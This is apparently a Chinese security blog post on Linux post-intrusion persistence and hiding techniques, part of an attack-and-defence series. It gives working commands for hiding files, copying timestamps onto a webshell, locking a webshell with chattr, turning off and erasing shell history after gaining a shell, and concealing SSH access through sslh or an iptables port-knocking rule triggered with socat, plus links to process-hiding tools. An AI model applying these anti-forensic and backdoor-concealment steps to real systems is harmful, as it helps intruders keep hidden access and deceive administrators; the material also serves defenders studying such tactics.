首页 > 系统相关 >【攻防技术系列+权限维持】Linux隐藏技术

【攻防技术系列+权限维持】Linux隐藏技术

时间:2024-07-17 15:33:04浏览次数:12  
标签:攻防 -- 端口 技术 命令 Linux sslh php 隐藏

#权限维持 #Linux #隐藏

一、 隐藏文件
二、 隐藏文件时间戳
三、 隐藏权限
四、 隐藏历史操作
五、 隐藏端口
六、 隐藏进程

一、 隐藏文件

创建一个隐藏文件:

touch  .test.txt 

一般的Linux下的隐藏目录使用命令ls -l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令:ls -al

linux中每个目录下其实都有...,分别代指的是当前目录和上级目录。

建立...文件也是一个比较好的隐藏方法”。

建立参数混淆拦截rm文件

echo 'test' > --

创建--文件,需要用绝对路径才能读取和删除

rm -rf -- 命令执行了,文件没删除,命令也没有报错,可以误导管理员。

想要删除的话,使用rm -rf '/root/--'
另外,我们可以看到在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。

/tmp/ .font-unix//tmp/.ICE-unix//tmp/.Test-unix//tmp/.X11 -unix//tmp/.XIM-unix/

二、 隐藏文件时间戳

Linux下藏后门必须要修改时间,否则很容易被发现,直接利用touch就可以了。

利用方法

比如参考index.php 的时间,再赋给webshell.php,结果两个文件的时间就一样

touch -r index.php webshell.php

或者直接将时间戳修改成某年某月某日。如下2024年06月01日8时10分30秒。

touch -t 2406010810.30 webshell.php

-t STAMP
-c 不创建文件

1.3 隐藏权限

在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。

这个技巧常被用在后门,变成了一些难以清除的后门文件。

chattr +i webshell.php  #锁定文件
rm -rf webshell.php     #提示禁止锁定

lsattr webshell.php     #属性查看

chattr -i webshell.php  #解除锁定

rm -rf webshell.php     #彻底删除文件

1.4 隐藏历史操作

无痕模式:

拿到shell以后也就是成功入侵之后,开始【无痕模式】,禁用命令历史记录功能。

[space]set +o history

或者空格+命令	

备注:[space]表示空格。并且由于空格的缘故,该命令本身也不会被记录。

在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。

要【重新开启历史功能】,执行下面的命令:

[Space]set -o history

它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。

删除指定历史命令:

history显示内存和~/. bash _history中的所有内容;内存中的内容并没有立刻写入~/.bash_ history, 只有当当前shell关闭时才会将内存内容写入shell

删除单条命令:

history -d [num]

删除多条命令:

sed -i "100,$d" .bash_ history   #删除100行以后的操作命令

1.5 隐藏端口(还没复现)

通过端口复用来达到隐藏端口的目的。
这里以隐藏SSH端口,通过SSH进行远程登录为例。

【方法1】通过SSLH让HTTPS和SSH共享同一个端口

这里以kali为例简单演示:
1、下载SSLH :

sudo apt-get install sslh

2、配置SSLH :

sudo vi /etc/default/sslh

修改为:

DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --tls 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"

3、启动SSLH :

$ sudo systemctl enable sslh
$ sudo systemctl start sslh

复现过程中,可能会遇到启动sslh失败,确保 sslh 用户或组有权限写入该目录。
你可以使用 chown 命令更改所有者和组:

4、测试,检查SSLH守护程序是否正在监听443。

5、利用:

现在,你可以使用端口443通过SSH访问远程服务器:

【方法2】利用IPTables进行端口复用

【目标机器配置】:

#端口复用链
iptables -t nat -N LETMEIN    
#端口复用规则
iptables -t nat -A LETMEIN -p tcp - j REDIRECT --to-port 22
#开启开关
iptables -A INPUT -p tcp -m string  --string 'threathuntercoming' --algo bm --set --name letmein --rsource -j ACCEPT 
#关闭开关
iptables -A INPUT -p tcp -m string  --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT 
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent  --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

【攻击机运行】:

#开启复用
echo threathuntercoming | socat - tcp:192.168.8.127:80
#ssh使用80端口进行登录
ssh -p 80 [email protected]
#关闭复用
echo threathunterleaving  |  socat - tcp:192.168.8.127:80

测试完毕后,在目标机删除iptables规则:

iptables -L -n --line-number  
iptables -D INPUT 3  //删除INPUT的第三条已添加规则,这里3代表第几行规则
		

1.6 隐藏进程

管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。
libprocesshider :

https://github.com/gianlucaborello/libproces/shider

linux-inject:

https://github.com/gaffe23/linux-inject

标签:攻防,--,端口,技术,命令,Linux,sslh,php,隐藏
From: https://www.cnblogs.com/o-O-oO/p/18307284

相关文章

  • 【Linux杂货铺】期末总结篇4:shell编程
    ......
  • 每天学一个 Linux 命令(18):mv
    命令简介mv命令用于移动并重命名文件和目录。或者将文件从一个目录移动到另一个目录中,如果将一个文件移动到一个已经存在的目标文件中,这时目标文件的内容会被此文件内容覆盖。如果源为文件,而目标为目录,mv将进行文件的位置移动。如果源为目录,则目标只能是目录(不能为文件),mv将进......
  • [定时任务未实现]Linux制定定时任务未生效
    定时任务:$crontab-l#deletearchivelogbefore7days0002***sh/home/oracle/tkdba/del_arch.sh>>/home/oracle/tkdba/logs/del_arch.log.$(date+%F)2>&1观察定时任务没有执行,临时文件没有清理。通过分析日志/var/log/cron,这里$(date+%F)未执行。Jul1523:30......
  • Linux 提权-密码搜寻
    本文通过Google翻译PasswordHunting–LinuxPrivilegeEscalation这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。导航0前言1密码搜寻–文件名和文件内容1.1寻找有趣的文件名1.2寻找有趣的字符串2密码搜寻–Web文......
  • Linux 查看 && 修改端口范围限制
    1.显示当前临时端口的范围:sysctlnet.ipv4.ip_local_port_range或 cat/proc/sys/net/ipv4/ip_local_port_range一般情形下:linux临时端口号范围是(32768,61000)2.暂时性修改临时端口的范围:#echo102465535>/proc/sys/net/ipv4/ip_local_port_range或者 sudosysctl-wne......
  • 热管理中常用的冷却技术
     ......
  • qt程序在Linux环境下写入系统日志及做成服务
    一、将日志写入linux系统日志1、添加头文件#include<syslog.h>2、写入日志QStringlog="logtowrite";syslog(LOG_INFO,"%s",log.toStdString().c_str()); 二、将qt控制后程序做成linux服务参考:https://blog.csdn.net/CLinuxF/article/details/1298330081、在程序所在......
  • 《深入探索 Linux 系统:从入门到精通的全面指南》
    更多内容,可前往官方网站进行浏览LinuxKernelDocumentation:        这是Linux内核的官方文档网站,包含了详细的内核开发和使用指南。非常适合需要深入了解Linux内核架构和功能的用户。CentOSOfficialDocumentation:这是CentOS的官方文档网站,提供了关......
  • [Linux+git+Gitee+Jenkins]持续集成实验安装配置详细
    首先理解持续集成原理,看懂并理解图1。图1持续集成原理结构图1中,版本控制服务器指远程代码仓库,本实验使用GitEE作为远程代码仓库;Jenkins自动化部署服务器为虚拟机,操作系统为Linux;服务器1…n为应用服务器,可使用自己物理机作为应用服务器。详......
  • Linux服务器配置信息查看
    lscpu ---查看CPU架构相关信息 Architecture:系统的CPU架构。CPUop-mode(s):CPU的操作模式,比如32位和64位。ByteOrder:字节序,通常是小端(LittleEndian)。CPU(s):系统中总的CPU核心数。On-lineCPU(s)list:在线的CPU核心列表。Th......